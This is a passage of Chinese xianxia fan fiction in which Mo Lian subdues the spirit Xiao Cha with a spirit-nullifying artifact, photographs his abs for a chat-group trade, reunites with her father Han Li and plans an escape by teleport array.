嘴角勾起一抹慵懒却暗藏危险的淡笑:“丫头,怎样,见到老夫的半身可还满意?”
一边说,萧诧一边轻抬手。
指甲涂了丹蔻的食指,虚空一点,只见一道玄阴魔气被凝聚成幽蓝射线的玄魂刺,朝墨怜刺来。
咻咻一声。
面对老鬼陡然的发难,墨怜惊魂未定地凭借《洞明心诀》洞悉了他的出招,如蝶燕飞转,躲开这贯穿躯体的毒击。
“老鬼,你还没夺舍呢,光一个魂体如何立足这乱星海?”
话音将落,墨怜脚尖触离地面,一个瞬息,闪到那名结丹修士身边,顷刻抓住他的手臂。
刮起的沙砾如一帘纱幔,模糊了萧诧傲然浮悬于半空的魂体。
耳边呼啸的风浪,吹乱了墨怜的发丝,微眯的视野里,她紧盯着那道幽魂:“小辈不想把事情做绝了,若您不想夺舍后缺胳膊断腿的,还是不要再轻举妄动了!”
灵力驱动着匕首,紧贴着身下人的手臂皮肉,因为她的紧张施力,锋利的刀刃渐渐渗出一条血线。
“呵呵哈……”萧诧大张双臂,昂首笑了出声,“被老夫打得措手不及了,还能抓住机会妄想继续拿乔,嗯~?”
尾音被他坏心地刻意拉长,墨怜却听出一丝异样。
老狐狸还能这么悠然地开怀大笑,莫非他的功法根本不怕残肢的身体?
不对!
墨怜咬紧牙关,后背已浸满冷汗,一股彻骨寒意从脚底往上窜至天灵盖。
“不过,老天待本座不薄。”萧诧像是发觉她紧绷到极点的防备姿态,嘴边笑意扩深。
一个闪身,诡魅般绕至她耳后。
阴幽冰寒的气息从她耳根漫开,只听得一声压低的气息:“丫头,跟老夫玩心眼你还太嫩了。”
转瞬,下一幕让墨怜瞳孔不受控地紧缩,头脑陷入停滞的空白。
只见萧诧魂体托底的镜子突然冒出紫雾烟柱。毫无征兆地攻击绿植掩盖的一块山石后方。
空气中凭空出现蛛网般裂纹,崩碎时显现出一个人形。
还未看清,便听一声惨绝人寰的痛嚎。
“啊——”
萧诧化现的魂体,如疾驰的流光冲去,钻入那人肚腹之中,身外一层荧蓝光晕凝实后,内化于体,还挣扎抽搐的手脚转眼被他收服,当即就能自由掌控。
他偏头看着翻转的双手,似乎在欣赏自己的杰作。
这一过程,连片刻都未有。
夺舍对老鬼来说,简直喝水一样易如反掌。
“这老狐狸……”墨怜错愕地喃喃。
她想错了,还错得离谱的那种。
原来老鬼从一开始就没打算附体到这个结丹男修身上。
他神识强于自己,许是发现了在此间躲匿的修士,尽管异变很快,她还是分辨出那被夺舍之人修为恰好是筑后,与她境界相当。
怪不得,她挟持住这金初修士,老鬼却一点儿都不见慌张神态。
却是一早就在心底谋划好。
趁她去接近那金丹修士时,他便顺势夺舍,反转来对付自己。
这老鬼得是长了个马蜂窝的心眼子吧!
萧诧似乎顾不得墨怜的反应,周身浮现出星星点点的血光,将他占据的身躯裹成一个形同史莱姆质感的血红肉茧,有节奏地往外界震荡出一层暗红气浪。
见情势急急转下,墨怜也只能趁此间隙寻找苟存机会。
当机立断!
她心中默念了一句抱歉,飞速扒下这人的上衣,用留影珠录下腹肌,她甚至连欣赏的时间都没有,飞快上传群聊。
与此同时,空气安静了一瞬,猛然炸开一道血光。
气浪掀翻沙土,余波袭来,墨怜下意识往后一退。
模糊又扭曲的烟尘中,传来一声狂浪而疯狂的大笑:“墨怜,多谢你这些时日对本座的关照,不过知晓了本座太多的秘密……”
他仅闪过片刻的迟疑,下一句便是:“还是去死好了。”
墨怜暗骂,这老家伙还是死性不改。
多疑又杀心重,看来非要与她不死不休才行么?
望向萧诧那张少年感十足的帅脸,却露出阴森老成的邪笑。
墨怜不自觉想起腹肌照大计。
但就在分神之际,萧诧蹙紧眉,震开一道灵压,墨怜与她境界相同,可到底缺少经验。
几个回合,就被震飞,幸好有防护罩在。
“跟老夫斗法,还敢走神。”
墨怜吃力地撑开防护范围,应对萧诧的袭击,趁乱,余光瞥见群聊界面的请求通过。
连
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忙发出镇魂古铃暂用申请。
下一瞬,界面显示:
【该法宝使用权正在排队中,前方已有9人已预约时段】
靠!来这死出。
墨怜只好跟886心念:能不能插下队啊,这么硬抗也不是办法。
等排到她,人都被老鬼扬成灰了!
【这……平台规定这个样,本统也不能让这些人同意让给小怜你。】
听完886又着急的声音,墨怜咬了咬唇,是她太急了,还未弄清这群聊的规则,这下可不比秘境,与老鬼再次对战。
不一定有上回的侥幸和运气。
老鬼肯定不会让她有机会近身。
柳暗花明又一村,交易界面忽的弹出一条私发聊天框:
【(ID:多情桃花):后背,你这腹肌照是合成的。】
【前辈我现在情况紧急,这头像的美男正追着我打,我想拍他腹肌,也得有那个条件拍。”
【这男人长相确实很不错,红眼圈眼妆真精致……那这样好了,我暂时借你一个道具,等拍好了照片后再作商议。】
墨怜心中大喜,忙用意念发了个萌哒哒的表情包。
很快,886也提醒她,多情桃花发来一个道具。
绝灵领域。
来不及详细了解此宝,墨怜看了个大概,当即使用起来。
而对面停下手观察的玄骨,脸上势在必得的笑容一顿。
他疑惑的眼神,掠过墨怜手中现身的一个黑银的椭圆球体。
瞧着模样古怪,萧诧眸底隐隐有几分忌惮:
“丫头,这是何物!”
墨怜眯了眯眼,喝道:“老狐狸,你等着看吧!”
“哎呀呀,你们打得可真热闹,让我也跟着你们一起热闹热闹。”
一道阴邪的笑声从两人后方传来。
萧诧见其人,垂落袖袍间的手,攥紧了指骨。
瞥见他轻微失态的举动,墨怜目光又撇向这个突然现身又蒙着面罩的男子。
一时战局瞬息万变。
乌丑见这人的所用功法有几分眼熟,出乎他意料的还有玄阴魔气,他霎时眸光阴狠,想起老祖的话,便朝萧诧袭来。
忽略了一旁的墨怜。
这丑陋面孔的魔修有结丹初期的实力,墨怜暗忖,一人应对未免独木难支。恐有元婴老祖的势力,还不如留着熟悉极阴岛的老鬼一命。
但这老鬼要是再敢翻水,她就不客气了。
此时,萧诧传音而来,大抵也是这个意思。
‘丫头,先前适才相戏耳,被极阴岛的人盯上,可就麻烦咯,老夫了解极阴的很多秘密,不如你我二人先联手,一齐击败他的孙儿,免得留有后患。’
墨怜冷着脸,不应。
葱白的指尖有一下没一下地轻敲【绝灵领域】表面外壳。
‘真生气啦?’
萧诧用玄阴魔气形成一道黑雾,困住乌丑的一条雾龙,抽空传音哄她:
‘这回老夫可是诚心与丫头你协作,不会再有闪失。’
墨怜暗嘲,信你,就真成冤死鬼了。
但遥遥望着黑雾边上的萧诧,他似乎很知晓自己优越的外形,恰好侧过脸,那抹晶蓝发穗擦过他绯红的唇角……
那一点蓝,如同一片羽毛,轻轻撩拨过她的心湖,漾起层层涟漪。
墨怜凝视了足有十来个呼吸。
已晡未暝,一抹红霞渗透乌霭的天穹迎接来自地表射来的光柱。
海天一线如画的景色被暗色滤光笼罩至视野每一处。
天地灵气转瞬之间被一抽而光。
乌丑和萧诧一前一后坠落至地,烟尘缭绕。
不待两人反应,墨怜先一步跃到萧诧身边,令人猝不及防地,伸手掐住他的脖颈。
一头如雾般黑发垂落在萧诧的胸膛前。
他微张的雾蓝色眼瞳,倒映着墨怜放大的脸孔,呼吸轻滞,只觉她清热而温绵的气息吐露在颈侧:
“老鬼,你心眼子多,我手段却也不差。”
14. 落网之鱼
天光黯淡,黄昏落日带走最后一丝霞光。
因着暗色滤光的缘故,墨怜低头俯视,褪了色的萧诧,像是从一副水墨画里走出来的邪仙。
唯有那一双眼眸仿若星辰般发亮。
色彩单调了,也掩盖不住他不凡的姿容。凑近一闻,嗅到一股幽芬的男子体香,墨怜握着他的脖颈,掌心贴合之处,像被开水烫了下,轻微往下挪了挪。
“丫头,你怎么不再掐紧些?”萧诧抬起左手,铜镯顺了手臂下坠。
不料,墨怜一膝盖摁住他的手掌。
另一只手勾住他的下巴,“老鬼,你给我听好了,接下来你就好好配合我,但你放心,不会危及你的性命。”
萧诧狭长的凤眼微眨,撅嘴啜了两声,像是在逗弄小动物,“啧,我们离得这样近,旁人见了,可是觉得老夫要轻薄你。”
“我之后要做的,的确是……有伤风化。”
其实是她要主动轻薄萧诧。
墨怜说着,面上也火辣辣的,不自然地收回捏着他下巴的手,补救说,“就是让你凉快些。我日后会……给予补偿。”
她丝毫没意识到,此刻自己的呼吸不由加重,面腮染上一层霞红。
萧诧缓缓勾起唇角。
忽然放平身子,双手舒展地往外伸,犹如猫咪方才还哈气,转眼又向人摊开柔软肚皮的既视感。
这倒让墨怜眼睛和手,不知该往哪里看,又该往哪里伸。
不经意间,她又掐紧了萧诧的脖颈。
掌心下的脖颈,质感温热,跳动的脉动,直到她这才意识到,与在洞窟、镜子接触不同,她手中按住的老鬼是真实,鲜活的存在。
墨怜心中泛起一丝说不清的涟漪。
或许是老鬼美貌惊人,让她一时陷进他这张脸上。
缓缓触碰在萧诧的衣领口,感受到对方身体的紧颤,墨怜表面面孔冷淡平静,实则心跳加速到快爆炸。
她悄悄一瞥,这看似坦然的老鬼,耳尖怎么那样红?
揪着黑衣领口往下拉。
拉到一半,手腕被萧诧攥紧,她底气变弱地轻哼:“怎、怎么了。”
那只桎梏她手腕的手,骨节匀称又修长,像是被造物主刻意关照的对象,一个男子的手也生的好看,暗红指甲如点睛之笔,又不失性感。
墨怜以为萧诧就算戴上闪耀的配饰,任何一人都会首当其中地先看见他那双漂亮的手。
“你才十八岁。”
听到萧诧忽然来了这么一句,墨怜下意识应答,“那咋了?”
“……”萧诧粗粗地咳了咳嗓,“过早进行此事,对你可不算好。”
这老鬼活了快一千年了,不会还计较着男女大防?
墨怜试探问,“前辈以为我是想做什么。”
见他不吭声,只用那双凤眼冷冽冽地看来,像是透过身体,要看穿她整个灵魂。
墨怜叹了口气,老鬼心思太难猜。
索性她还是先拍下腹肌照,到时得想一想之后的退路。
想到这,墨怜猛地看向另一边的黑面男子,一句话也未说,反手甩去一根麻绳。
乌丑:??
本是断绝灵气的领域,唯有墨怜的麻绳可被灵气驱使,牢牢捆住乌丑的双手和双脚。
“你!”
墨怜不耐烦,掏出一块布料塞他满嘴:“你什么你,给我老实待着。”
听到一声暗笑,回过头,她专注于身下的萧诧。
方才被乌丑打断,她倒是没了尴尬和羞赧。
指尖戳陷进萧诧的脖子与领口交界处的肌肤,轻轻扣住,朝下翻:
象牙白的肌肤被暴露于空气中。
微突的喉结,随着萧诧的呼吸,上下轻动。
被这般作弄,萧诧眼瞳微张,叫人看不清他究竟是恼怒憋愤,还是无动于衷。
当她看得入迷,萧诧却偏过头。
半短的发丝与发穗交织,顺在他下颌骨线条,越发瘦削凌厉。
墨怜这才看见,他发间露出的耳朵,一路红到脖颈,像是不谙人事的纯情少年,倒与他老成气质,形成一种意料之外的感官。
墨怜深吸了一口气,“我要开始了。”
半晌,萧诧突然出声,“丫头,你可不要后悔。”
暗光下,他眸底掠过一道微不可觉的茫然。
“当然不会。”
拍腹肌照,没有什么比这更重要。
能兑换逆天法宝,在这乱世中,出奇制胜方能夺取一线生机。
而绝灵领域,对于依赖灵气的修士来说,无疑是根上的克制。那神通广大的法宝,没有灵气,就只能干瞪眼。
就算是化神修士来,也得被一锤子砸死。
不过,这老鬼实在是该死的貌美!
墨怜只觉再看,脸都要被烧化了,硬顶着他的美貌冲击,去扯衣服——
没扯动。
什么材质做的,这般结实!
略微一想,墨怜还是掏出韩立送的匕首,一边对准萧诧的胸衣。
萧诧身体不由僵直,“丫头,你要作甚?!”
灵力骤然丧失,他原以为凭借男女之间的力量差距,还能反制丫头,殊不知,这丫头竟然有习武的底子,气力不小,一时间他手无寸铁,肋骨空间的武器又无法召出。
墨怜按住他的胸膛,没好气道,“别乱动,这刀子不长眼,把你割破皮儿了,可莫要怪我。”
“丫头,你不是想要玄阴诀功法吗?”
墨怜捏住刀尖,挑开拉长骷髅头铜片。
“不说功法,老夫纵横乱星海几百年,这如何处事寻宝,可为你一一解惑。”
墨怜缓缓使力,锋利的刀尖,顺金漆肋骨纹的走势,一点点割破黑色甲衣。
白皙的肌理在这道被划开的黑色缝隙中,若隐若现,惹人注目。
“老鬼,你大可放心,我很快就好了。”
这话落下,萧诧伸展的双手,渐渐收拢成拳。
墨怜手指一掀,这甲衣啪嗒一下,又弹回萧诧的锁骨上。
不听话的衣服,真难驯服。
她干脆一手扯着破损的领口,扒开,露出微鼓的胸膛,往下,两道清晰的马甲线勾勒出块块微隆的肌肉块,用指关节骨轻摁,绵弹又不失紧致。
老家伙身材很有料啊。
另一手捏住黑漆漆的留影珠,对准萧诧的胸怀,咔嚓几声,录下影像。
又在手里捣鼓两下,发送到那位前辈的私聊中。
对方秒回,答复来一句话:
【这样未免太单调了,给你的道具价格可是不菲的。这样吧,我发你一根红绳和金玲,若是你能角度抓拍得好,等等,我给你指导一下……】
后面的话,她看得一脸烧红。
真按多情桃花前辈说的去做,估计她要被萧诧给摁头爆锤。
想了想,墨怜觉得还是别进一步得罪老鬼了。
余光悄悄瞅向萧诧,空气中飘起萤萤星火,点亮他嘴角衔着一丝玩世不恭的淡笑,若忽略他耳尖一抹淡红,或许真的是对她的举动漫不经心。
墨怜收起留影珠,一松手。
被扯了许久黑甲衣,弹性不减,又弹回萧诧肌肤,边口却露出一条白线。
“咳咳,好了,我完事,玄骨前辈你暂且自便。”墨怜起身,退离几步距离。
用咳嗽声掩饰自己作妖后的尴尬。
“这……就是你的手段?”
萧诧微张凤眼,眼神除了诧异,还有几分释然后的揶揄。
撑起上半身,他随意又洒脱地曲起腿,似乎毫不在意被割开的裂口处,敞开得更大,诱人往更深更暗处窥探……
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他大拇指不轻不重地揩过唇角,“真是让老夫大开眼界呀~”
欠抽的语气!
墨怜憋红了脸,因着自己的确不占理,说什么都只会越描越黑,索性不理他。
“……呵,有意思。”
萧诧压抑喉间翻涌的笑意,语气压低,“一开始,你着眼老夫的容貌,现在又要看酮体,却只为录影?”
墨怜被他看得有点发毛。
要不说个缘由来,指不定要怎么刨根问底。
“因为我有个前辈对美人有别样的追求,所以我便……用她送的留影珠,录个相,怎么你很介怀么。”
“自古无利不起早,那人许你什么宝贝了。”
嘴上说这话,眼睛却看向她手中的绝灵领域,那目光不言而喻。
以为她是拿照像换来法宝。
可惜,事实如此。
但墨怜没想多透露的意思,在萧诧对面,摆出一个锅架,“事己至此,还是先吃饭吧。”
“哦,对了,老鬼你不是要传我玄阴决功法么?”她朝萧诧看去。
“老夫还会不兑现你一个小辈的承诺?你且安心,不过……术不轻传。”
墨怜听出萧诧的意有所指,扭头扫向另一边被捆绑的某人。
“哦,还有个外人在。”
乌丑不可置信地瞪大双眼。
脑海刚从这女人也太大胆了,当着他的面,欲对疑似师祖的男子大行不轨之事,快速回至当下的窘境。
墨怜掏出麻绳,走上前,打算捆起乌丑,好作事后处置。
“你是极阴岛的人?”
“没错,我老祖可是极阴祖师,极阴岛知道么,”乌丑以为还有谈话的余地,连忙开口,“我家老祖可是元婴修士,你一个筑后修为的散修,不若放开我,兴许我在老祖面前一番美言,你还能做极阴岛的关门弟子。”
他心中却暗道,幸好他机灵。
方才见两人的注意力不在他身上,便嘴中默念着咒语,让一条灵蛇,从衣袍的暗处爬出来,去找老祖或可信之人报信。
无人觉察的死角,乌丑掩藏在面罩的下的嘴角勾起,布满疤痕的眼睛也眯了起来。
应付起墨怜的话,也只为拖延时间。
可未得意多久,一把飞刀扎中他两腿前。
仅有一毫厘。
便可能叫他乌丑没有子,吓抖了抖身体,乌丑颤着声:“你,你别杀我,我储物袋中有不少宝贝,只要你放我一条生路,极阴岛必有重谢……”
“废话真多,你在那笑什么呢,刚手里拿什么?快说。”
墨怜对他没那么多耐心,面相不善,行事阴险,极阴岛的人都是这幅尊容么?
回头瞥了一眼萧诧。
嗯,阴险狡诈,果然是一脉相承。
极阴岛文化恐怖如斯。
……
海底珊瑚处,一群海鱼游过,却在一处碰到障碍,领头鱼摆动鱼尾,离开这个奇怪的地方。
披上隐灵纱的韩立,无暇顾及这点小插曲,望向海水上方,眼眸略过一丝警惕。
他调整身体,盘膝打坐。
在感知不到六连殿的苗长老气息,数日后,他带着张铁往另一边的海域飞去。
途径一座海岛上空。
刚一进入范围,不知怎的,浑身灵力一滞,眼前也变得灰白。
“啊!”
韩立失重地跌落。
身上法宝丹药符箓灵宠,还有张铁,都摔在沙土上,散落地到处都是。
正当他忍着伤痛,要起身去捡东西时,忽然传来一声堪称放肆的大笑:“哈哈哈,没想到还有人会掉进来!”
“让我瞧瞧,你是哪来的……”家伙。
墨怜话头卡在喉咙里,硬是吞进后边两个字,远远望着那个疯狂捡拾的背影。
15. 为女编发
一碧如洗的蓝天,云卷云舒,珊瑚岩岸传来一阵阵潮水翻浪的声响。
眼前风光却不似在灰白滤镜下,她可随心念调节滤光。
自在拍摄某鬼的腹肌照后,墨怜就一直保持原来彩色的视野。
但如今,她觉得如果换成单色调看世界。
像看一场诙谐默剧,或许会没那么囧然。
韩立目光警惕地回首,一手紧紧按在储物袋上,只见一个浑身缝缝补补,像久居荒岛的年轻散修。
下意识动用神识,想要探查此女修为。
谁知,不止灵力不能调用,神识犹如一潭死水,对面前人无法探知深浅。
韩立心头大骇,强压那一丝惶然,视线上移,落在墨怜面上,试图从中寻些可说的话由。
观她眉眼间,依稀有几分故人之姿,莫非……
而墨怜同样也在打量他。
父女相见,场面格外尴尬。
墨怜手脚不知往哪里摆,恨不得回到前几分钟抽自己嘚瑟的嘴巴,刚才叫的多欢,现在笑起来就多僵硬。
“爹。”
韩立神情一怔,神情巧妙地从防备转为淡定,似乎减少了几分生疏感。
主动向她舒展笑颜,“你是墨怜?”
闻声,墨怜缓缓点头。
爹,你笑得怎么有点勉强呢。
抬袖掩了掩唇角,她抿唇一笑,“实在是缘分……不知娘可还跟爹你一起来乱星海?”
“没有。”韩立如实地摇头,像极了老实人。
“那这位大叔是……”
韩立扶起地上的曲魂,没了灵气驱使,曲魂犹如一个植物人地靠在他肩头。语气平淡地介绍:“他名唤曲魂,是为父的贴身侍从。”
“哦。”墨怜并未深究。
每个人都有自己的秘密,除非等他心甘情愿地说,一味追问,反而适得其反。
树影婆娑,绿幽幽地,海风穿梭而至,日光便趁机透过一瞬一息的枝缝在她脸上变化起斑驳光影,发后飘忽的发带也不复八年前原有的蓝色。
韩立定神瞧了一会,变得,更浅了。
女大十八变,出落得标致,这个时候,身为生父的他,在凡间或许得给她备上几车的嫁妆。
命运捉弄,早年并不有机会长久相伴。
思量至此,韩立心念一定,从储物袋捞出一条粉色缀珠花的发带,握紧在手心,柔纱质地被揉出几曲褶皱。
“我早些年未曾常伴你左右,见你发带旧损,我手头也无甚女子钗环,唯有此物。若你喜欢,便拿走用。”语气很是淡然。
韩立常年面部少有表情,即便与人骤然相遇,脸上挂起的笑容,也有几分僵板。
但墨怜还是听出他夹藏在平淡话语里的真切。
那双浅褐色眼眸不经意透露出的关爱,让她心中淌过一股暖流。
有家人还惦记着自己。
真好。
墨怜笑弯了眼眸,双手去接,并未动用灵力。
在韩立掌中摸走这条发带,她另手卸下堪比破布的飘带。
满头青丝仿若绸缎般滑落至肩头,经金灿灿的日光一照,又像一块上好的徽墨泥,正待人塑成更美的造型。
墨怜好几年未曾扎头发了,两只手跟要打架似的。
左一抓,右一扯,没个好形。
韩立默默看了几眼,绕至她身后,从她手中抽走发带,叹息了声,“还是让为父来吧。”
“诶?”墨怜呆愣了会。
手中滑过一小股轻风,小臂还保持僵直,她便觉脑后被一双温暖的大手,轻柔地,一缕又一缕地收拢她的发丝,固定到上方,只觉发根窸窣地发痒,她忍不住偏了偏头。
察觉墨怜的小动作,韩立两手按住她,往正中一掰,“莫动,很快就扎好了。”
“……”墨怜只好乖顺地听他指挥。
垂落脸颊两侧的碎发,被轻扯,几根修长又灵活的手指正将它们一搭又一搭地编织成一条细辫,掺到后脑勺的发髻上,又是轻重适宜的一按——
墨怜余光瞥见,随风闯入她视野的一抹粉艳。
发带卷起的边角,带有白边花纹。
随后,又听耳后一声沉稳而温和的声音,“已为你簪好。”
墨怜眼眸放光,不禁手往后摸去,饱满结实又有型,珠花在她指间轻轻挨蹭。
她抓出镜子一照,脸上笑开了花。
“爹,没想到你还有这么好的扎头手艺。”
原来普通的马尾,被改造成半挽的发式,两侧细辫增添了层次感。耳后时不时靓眼的粉红发带,俏皮地,看上去终于有个年轻修士该有的风采。
韩立正定定地注视着她,不料,被墨怜塞来那一面照脸的镜子。
“这是为何?”韩立不解。
墨怜侧旋了身形,伸手做了个请走的动作,“爹,洞府就在不远处,咱们边走边说。 ”
那一身胡乱拼凑的衣裳也舞进韩立眼中,流过一道若有所思的眸光。
“这面镜子看着普普通通,其实却是个可以躲匿其中的防护法宝,可抵御元婴修士全力三击。”
韩立心中震撼,此等法宝可是保命的好物。
女儿却一点不见心疼,就这么随意送给自己?
“当真么。”
韩立觉得不可思议,端详着这面镜子,可惜,并没能动用神识。
不过,他还是小心翼翼收进储物袋。
日光渐斜,两人并肩走在沙土上,踩过吱呀声的落叶。
墨怜想起什么,又掏出玉佩,“好久未曾与娘亲通讯,我先跟她通一个对话。”
可是能同时通讯联络?
韩立一脸探究,目光时不时落在那玉佩上,止不住的艳羡。
墨怜拿出一块灵石,附着在玉佩上。
两指并拢凝聚灵光,玉佩迸溢一团晶光。韩立见此,眼睛亮了亮。
墨怜并未急着出声。
静待玉佩亮光,不过很快,就有了回音。
墨怜抬头,与韩立相对而笑。
“娘,我已经出关了,而且——”墨怜朝韩立眨了眨眼,得到对方示意后,才说:“我们在乱星海已经相遇了,你呢,在天南那边修炼可否顺利,有无什么紧缺的?”
墨彩环在玉佩中回应:“这几年间正魔两道角力,已经渐渐分出界限,我现在游历在凡俗界各处,如今还算安好。唯有丹药符箓上日渐损耗,幸而有你爹给的丹药,我依旧能够修行。”
听到墨彩环近况尚好,墨怜心中稍安。
却也存了几分为她准备的物资的心思。
乱星海如今形势不明,也就一个老鬼还懂点行,但他被封印数百年,未必还能与时俱进。
那剩下的……墨怜余光瞥向远处一座山峰。
回首,瞥见韩立目光流转在玉佩上,墨怜心有所感,“爹,你也来一个不,这玉佩我多得是。”
转眼,掏出一块从万界平台兑换的玉佩。
配的尾穗透来一抹好看的青绿光泽,晃动时,若似一小片碧浪。
一把塞入韩立掌中。
感受到温润的玉质,韩立暗叹这玉石质地果然不同凡响。正想着,便听墨怜说:“此物使用前,需先注入灵气。”
韩立认真侧耳倾听。
神态极为专注,让墨怜这个小老师,心中很是受用。
“两块玉佩之间可以互相添加联系,就像这样。”
墨怜召出自己专用的玉佩。
晃了晃闪着淡粉光亮的尾穗。
韩立想起墨彩环的尾穗是梅红色,几人所持各有千秋,又服帖身份。
接着,照墨怜说的,他伸手跃跃欲试。
手臂却僵硬在半空。
“说起来,为何此方觉察不到灵气,而墨怜你却可以施展灵力?”韩立讪讪地收回手,问出心中困惑。
见他实在好奇,墨怜大方地向他展示:
一个被隔在防护罩里的一个黑银长圆球。
“此宝名唤绝灵领域,一经摧动,可随境界划定笼罩范围,在此之内的灵气会被一抽而干,我动用此宝,乃是被……”
“丫头,你不是要煮兔子肉吃么,锅里的灵水都快烧干了。”
闻声循去,葱郁树林间走来一道灰蓝的颀长身影。
来者是萧诧,帅脸挂着玩世不恭的嬉笑,两颗洗净的灵果被他逗玩似的上下抛动,“灵果很甜,要吃么?
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”
话落,他朝墨怜挤眉弄眼。
墨怜眸底涌上一丝狐疑,“无事献殷勤,说吧,老鬼你又想做什么?该不会——”
“下毒了?”她紧盯。
韩立随之侧目。
“呵。”萧诧扯了下唇,偏头咬了一口,“瞧,莫要冤枉了老夫。”
“……”墨怜撇撇嘴。
真的么,她还是不以身试险了。
这边,身侧同样注视的韩立,趁此一问,“墨怜,那位是何人?”
浑身散发着阴邪气质。
仅一眼,他便止不住对此人提起防备之心。
察觉韩立的观察,萧诧同样气场强势地回望过去。
这看上去平平无奇的小子竟然是丫头的生父。
有其女必有其父。
墨怜拒绝萧诧递来的灵果,摊手指了指萧诧,脑海正组织语言,“他啊……”
一阵海风吹拂而来,萧诧含笑的凤眸在晃动的额发间透了一丝冷光。
面上却扬起勉强称作和熙的笑容。
金灿灿的阳光照耀下,驱散了周身的阴霾感,抢在墨怜出声前,介绍道,“本座玄骨上人。”
“见过玄骨道友。”韩立略加思索,对他略施了礼。
见两人不对付的气场,墨怜勾唇轻哼。
她多了一个帮手。
对多情桃花前辈又提的新要求,不免有些蠢蠢欲动。
这种拍照之事一回生二回熟。
此刻她觉得,到时让韩立帮她护法,而她呢,往萧诧身上捆红绳,又让他的绯唇衔住金铃……什么的,好像又行了?
打住幻想,墨怜晃头,将之驱散脑海。
三人见面不再多作停留。
墨怜一路跟韩立闲聊,阳光渐渐热了起来,萧诧陪着她手中玩弄一个桃子状的灵果,一起向布设的洞府走去。
……
另一边,海面上灵蛇游得正快。
眨眼间却被一个白发苍苍苍,修行魔功却长得有几分仙风道骨的老者,手指一勾地拾取到手。
游行至此的青易道士,瞧了几眼,呵呵笑道:
“极阴你个老小子,可是要欠我一个人情喽。”
话罢,目中神识闪过精光,如快速飞梭的蛛网,探向远海……
这一头,乌丑还在期待自家老祖英武归来,将他拯救于妖女的水火之中。
“别仰头叹气了,我没把你刀了,算你命好,还唉声叹气呢。”
墨怜回来第一件事,便让韩立先去她的洞府,歇息一番。
随后,她穿过一条曲幽小径,木林葱郁,来到关着乌丑的小山洞内。
因着顾忌极阴岛,不想他饿死,彻底得罪死极阴。
就强塞喂了他一颗辟谷丹。
至于好受不好用,只有乌丑自个知晓。
萧诧双手环抱,不知何时倚靠在洞门口,注视着她对乌丑的举动,嘴角微不可觉上翘。
“嗯,倒不是我刻薄。”墨怜拍了拍手上不可见的灰尘。
谁让这丑小子放出了一条蛇,如今,待在此处最好,拿捏在手上。绝灵领域一开,谁拿她都没办法。
转身,墨怜缓缓穿过洞口垂下的青藤帘子。
身后尾随某个牛皮糖一样的某鬼。
她当着某鬼面,笼罩上一层防护罩,才陷入自己的思考。
萧诧:“……”
暗捏了手拳,指尖习惯性一抖,却没召出鬼火。他郁闷了下,耳后发穗晃了晃蓝,又继续慢悠悠地迈开步伐,跟上前方的墨怜,始终保持十步之距。
视线无意间地,往她脑后的发饰扫去。
没留意萧诧扫来炙热的盯视,墨怜在想,传送阵就差一些积分,就能兑换。
到时候便有跑路的机会。
再去寻找一个全新安全的洞府,搜集灵药炼丹,准备冲击结丹。
若得周全,一个人的力量便显得有限,也费时费力。
可三个人的力量呢?
大家都是一条船上的蚂蚱,咋能就她出力。
墨怜眼眸蓦然发亮,回首,一步作三步地,凑到离萧诧一步之遥前,笑吟吟道,“老鬼,咱打个商量可好。”
16. 三人密谈
商量?
萧诧将墨怜从头到尾凌厉地削了一遍,这丫头满肚子的坏水,但他眼中趣味越发热盛。
他故作搞怪的语气问:“难道又是要扒开老夫的衣袍,行那日有伤风化之事。”
听出他恶趣味地调侃那日拍他腹肌照的情形,墨怜脸颊热烫了下,“老鬼,你是哪壶不开提哪壶。”
不想绕弯子了,她径直走到前方。
阳光照下来全身暖洋洋,不由眯起眼,余光就瞥见萧诧也跟着自己一起挤来晒太阳。
“我们回洞府,我还得找我爹一起商量。”
萧诧双手上下搭着,手指虚虚地画了几小圈,“你们父女俩可真是奇怪,一个两个资质都不堪,却在几十岁间修到筑基期,真是让人好奇,那些修炼资源是从哪里来的。”
“丢命的话,老鬼你还是少说为妙。”墨怜冷冷一瞥。
被这曾经说过的话回旋镖般扎中,萧诧愣了下,眼睑下胭脂红圈随着他眯起,越发冷冽,从唇齿间崩出几个字:“……丫头,你倒是学得快。”
“彼此彼此。”
墨怜哼了声,转头才说起正事,“我们现在待在此岛只是暂缓之计,若那条蛇被极阴岛势力所捕,那么很快就会有人来找我们讨还那丑小子。找你过来,也是因为此人被
你所吸引,当然逃命的话,可不能就我一个人在想办法吧?”
“……”萧诧收敛笑意,揩过下唇,似乎在认真思索墨怜的分析。
墨怜补充一句,“丑话说到前,别想着大难临头各自飞的戏码啊,你要是想浑水摸鱼,那不好意思,我考虑要不要现在就……”
“诶诶,丫头你这话说得,把老夫当成什么人了。”
萧诧连连摆手,略宽的袖口隐隐露出一截小臂匀称劲瘦的肌色,“老夫还是懂得同心协力、其利断金。不过,丫头你打算怎么应对?”
“那就从最坏的结果来应对,若是极阴本人亲自来,姑且说他是元婴初期的修为,境界上我们几个筑基修士,想要伤到他几乎很难。
再说也不知这乌丑会不会透露此地布下绝灵,万一他小心,不肯入局,我们被困在岛上迟早也是个死局。
更详细的规划,等见到我爹再细说。”
话毕,墨怜朝空中的日辉做了一个抓握的动作。
丛林间郁郁苍苍,斑驳地投射到她身上,勾勒出一张柔和的脸弧,萧诧幽蓝的眼瞳轻微一动,笑笑不语。
到了洞府,墨怜便见韩立正在烹煮灵茶,阵阵茶香。
另一口锅架也被添了新水,正咕咚咚冒泡,桌面上的兔子已被分解成一块一块的料理状,渗出血水。
墨怜抬手,驱动灵力将兔子肉放入锅中,又一番咚鼓,放香料,撒菜叶,还有灵果,最后盖上盖子,抽掉点锅底的火焰,用小火力慢炖。
“爹,我们就趁此机会,好好谈一下。”
韩立微微颔首,手捧灵茶盒子,只看到萧诧时,目露迟疑,“墨怜,此事也与玄骨道友有关?”
“没错。”墨怜应声。
……
三人共聚一张简朴的长形方桌,各人面前都摆放了一盏冒白雾的灵茶。
桌子、茶具都是韩立提供。灵茶则是墨怜自己的存货。
而桌面中间还摆了一盆鲜甜可口的灵果。
是萧诧出劳力洗干净。
开小会前,墨怜先对韩立交代了开始防备的原因。
得知是来头可能是恶名昭著的极阴岛,韩立眉宇间多了丝凝重。
萧诧捻起一颗灵果,递至唇边,“丫头,元婴修士的手段可比你远想的要厉害得多。”
“这我清楚。”墨怜摸着茶盏杯沿,热腾腾的雾气缭绕在指间,“我有一个传送阵,需要你们的帮助。”
“传送阵?”
两人同时问出声,心中皆是惊骇。
萧诧手指扣动桌面,哒哒地响,语速飞快地追问,“传送阵能同时带上我们三人?”
“可以。”
